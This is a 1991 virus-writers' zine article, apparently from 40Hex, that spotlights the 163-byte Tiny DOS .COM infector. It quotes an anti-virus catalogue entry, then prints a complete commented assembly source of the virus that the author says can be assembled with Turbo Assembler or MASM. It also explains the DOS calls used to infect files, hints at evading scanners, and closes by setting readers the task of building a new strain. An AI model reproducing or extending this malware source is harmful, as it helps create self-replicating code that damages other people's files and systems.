home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / 40HEX-01.ZIP / 40HEX-1.001 < prev    next >
Text File  |  1991-06-26  |  9KB  |  240 lines

  1. 40H Vmag Issue 1 Volume 1                                               00001
  2.  
  3.  
  4.                           - VIRUS SPOTLIGHT -
  5.  
  6.  
  7.      The first virus I would like to spotlight is the Tiny virus, lets see
  8. what our good friend Patti Hoffman (bitch) has written about it.
  9.  
  10.  Name:        Tiny
  11.  Aliases:     163 COM Virus, Tiny 163 Virus, Kennedy-163
  12.  V Status:    Rare
  13.  Discovery:   June, 1990
  14.  Symptoms:    COMMAND.COM & .COM file growth
  15.  Origin:      Denmark
  16.  Eff Length:  163 Bytes
  17.  Type Code:   PNCK - Parasitic Non-Resident .COM Infector
  18.  Detection Method:  ViruScan V64+, VirexPC, F-Prot 1.12+, NAV, IBM Scan 2.00+
  19.  Removal Instructions: Scan/D, F-Prot 1.12+, or Delete infectedfiles
  20.  General Comments:
  21.        The 163 COM Virus, or Tiny Virus, was isolated by Fridrik Skulason
  22.        of Iceland in June 1990.  This virus is a non-resident generic
  23.        .COM file infector, and it will infect COMMAND.COM.
  24.  
  25.        The first time a file infected with the 163 COM Virus is executed,
  26.        the virus will attempt to infect the first .COM file in the
  27.        current directory.  On bootable diskettes, this file will normally
  28.        be COMMAND.COM.  After the first .COM file is infected,each time
  29.        an infected program is executed another .COM file will attempt to
  30.        be infected.  Files are infected only if their original length is
  31.        greater than approximately 1K bytes.
  32.  
  33.        Infected .COM files will increase in length by 163 bytes, and have
  34.        date/time stamps in the directory changed to the date/time the
  35.        infection occurred.  Infected files will also always end with this
  36.        hex string: '2A2E434F4D00'.
  37.  
  38.        This virus currently does nothing but replicate, and is the
  39.        smallest MS-DOS virus known as of its isolation date.
  40.  
  41.        The Tiny Virus may or may not be related to the Tiny Family.
  42.        ^like she'd know the difference!
  43.  
  44. OK, Theres the run down on the smallest MS-DOS virus known to man.  As for
  45. it being detected by SCAN we'll see about that.
  46.  
  47. Here is a dissasembly of the virus, It can be assembled under Turbo Assembler
  48. or MASM.
  49.  
  50. -----------------------------------------------------------------------------
  51.  
  52. PAGE  59,132
  53.  
  54.  
  55. data_2e         equ     1ABh                    ;start of virus
  56.  
  57. seg_a           segment byte public             ;
  58.                 assume  cs:seg_a, ds:seg_a      ;assume cs, ds - code
  59.  
  60.  
  61.                 org     100h                    ;orgin of all COM files
  62. s               proc    far
  63.  
  64. start:
  65.                 jmp     loc_1                   ;jump to virus
  66.  
  67.  
  68. ;this is a replacement for an infected file
  69.  
  70.                 db      0CDh, 20h, 7, 8, 9      ;int 20h
  71.                                                 ;pop es
  72.  
  73. loc_1:
  74.                 call    sub_1                   ;
  75.  
  76.  
  77.  
  78. s               endp
  79.  
  80.  
  81. sub_1           proc    near                    ;
  82.                 pop     si                      ;locate all virus code via
  83.                 sub     si,10Bh                 ;si, cause all offsets will
  84.                 mov     bp,data_1[si]           ;change when virus infects
  85.                 add     bp,103h                 ;a COM file
  86.                 lea     dx,[si+1A2h]            ;offset of '*.COM',0 - via SI
  87.                 xor     cx,cx                   ;clear cx - find only normal
  88.                                                 ;attributes
  89.                 mov     ah,4Eh                  ;find first file
  90. loc_2:
  91.                 int     21h                     ;
  92.  
  93.                 jc      loc_6                   ;no files found? then quit
  94.                 mov     dx,9Eh                  ;offset of filename found
  95.                 mov     ax,3D02h                ;open file for read/write access
  96.                 int     21h                     ;
  97.  
  98.                 mov     bx,ax                   ;save handle into bx
  99.                 mov     ah,3Fh                  ;read from file
  100.                 lea     dx,[si+1A8h]            ;offset of save buffer
  101.                 mov     di,dx                   ;
  102.                 mov     cx,3                    ;read three bytes
  103.                 int     21h                     ;
  104.                 
  105.                 cmp     byte ptr [di],0E9h      ;compare buffer to virus id
  106.                                                 ;string
  107.                 je      loc_4                   ;
  108. loc_3:
  109.                 mov     ah,4Fh                  ;find the next file
  110.                 jmp     short loc_2             ;and test it
  111. loc_4:
  112.                 mov     dx,[di+1]               ;lsh of offset
  113.                 mov     data_1[si],dx           ;
  114.                 xor     cx,cx                   ;msh of offset
  115.                 mov     ax,4200h                ;set the file pointer
  116.                 int     21h                     ;
  117.  
  118.                 mov     dx,di                   ;buffer to save read
  119.                 mov     cx,2                    ;read two bytes
  120.                 mov     ah,3Fh                  ;read from file
  121.                 int     21h                     ;
  122.  
  123.                 cmp     word ptr [di],807h      ;compare buffer to virus id
  124.                 je      loc_3                   ;same? then find another file
  125.  
  126. ;heres where we infect a file
  127.  
  128.                 xor     dx,dx                   ;set file pointer
  129.                 xor     cx,cx                   ;ditto
  130.                 mov     ax,4202h                ;set file pointer
  131.                 int     21h                     ;
  132.  
  133.                 cmp     dx,0                    ;returns msh
  134.                 jne     loc_3                   ;not the same? find another file
  135.                 cmp     ah,0FEh                 ;lsh = 254???
  136.                 jae     loc_3                   ;if more or equal find another file
  137.  
  138.                 mov     ds:data_2e[si],ax       ;point to data
  139.                 mov     ah,40h                  ;write to file
  140.                 lea     dx,[si+105h]            ;segment:offset of write buffer
  141.                 mov     cx,0A3h                 ;write 163 bytes
  142.                 int     21h                     ;
  143.  
  144.                 jc      loc_5                   ;error? then quit
  145.                 mov     ax,4200h                ;set file pointer
  146.                 xor     cx,cx                   ;to the top of the file
  147.                 mov     dx,1                    ;
  148.                 int     21h                     ;
  149.  
  150.                 mov     ah,40h                  ;write to file
  151.                 lea     dx,[si+1ABh]            ;offset of jump to virus code
  152.                 mov     cx,2                    ;two bytes
  153.                 int     21h                     ;
  154.  
  155. ;now close the file
  156.  
  157. loc_5:
  158.                 mov     ah,3Eh                  ;close file
  159.                 int     21h                     ;
  160.  
  161. loc_6:
  162.                 jmp     bp                      ;jump to original file
  163.  
  164. data_1          dw      0                       ;
  165.                 db      '*.COM',0               ;wild card search string
  166.  
  167.  
  168. sub_1           endp
  169. seg_a           ends
  170.                 end     start
  171.  
  172.  
  173. -----------------------------------------------------------------------------
  174.  
  175. Its good to start off with a simple example like this.  As you can see
  176. what the virus does is use the DOS 4Eh function to find the firsy COM file
  177. in the directory.  If no files are found the program exits.  If a file is
  178. found it compares the virus id string (the virus jump instruction) to the
  179. first two bytes of the COM file.  If they match the program terminates.
  180. If they don't match the virus will infect the file.  Using two key MS-DOS
  181. functions to infect.
  182.  
  183. The first -
  184.  
  185. INT 21h Function 42h
  186. SET FILE POINTER
  187.  
  188. AH   =   42h
  189. AL   =   method code
  190. BX   =   file handle
  191. CX   =   most significant half to offset
  192. DX   =   least "                       "
  193.  
  194. If there is an error in executing this function the carry flag will be set,
  195. and AX will contian the error code.  If no error is encountered
  196.  
  197. DX   =   most significant half of file pointer
  198. AX   =   least "                             "
  199.  
  200.  
  201. The second (and most) important function used by any virus is
  202.  
  203.  
  204. INT 21h Function 40h
  205. WRITE TO FILE OR DEVICE
  206.  
  207. AH    =   40h
  208. BX    =   handle
  209. CX    =   number of bytes to write
  210. DS:DX =   segment of buffer
  211.  
  212. Returns
  213.  
  214. AX    =   bytes transferred
  215.  
  216. on error
  217.  
  218. AX    =  Error Code and flag is set.
  219.  
  220.  
  221. An example of Function 40h is ----
  222.  
  223.  
  224.      mov     ah,40h                   ;set function
  225.      mov     bx,handle                ;load bx with handle from prev open
  226.      mov     cx,virus_size            ;load cx with # of bytes to write
  227.      mov     dx,offset write_buffer   ;load dx with the offset of what to
  228.                                       ;write to file
  229.      int     21h                      ;
  230.  
  231.  
  232. This function is used by 98% of all MS-DOS viruses to copy itself to a
  233. victim file.
  234.  
  235.  
  236. Now heres a sample project -  create a new strain of Tiny, have it restore
  237. the original date and time etc...
  238.  
  239.                                                                           HR
  240.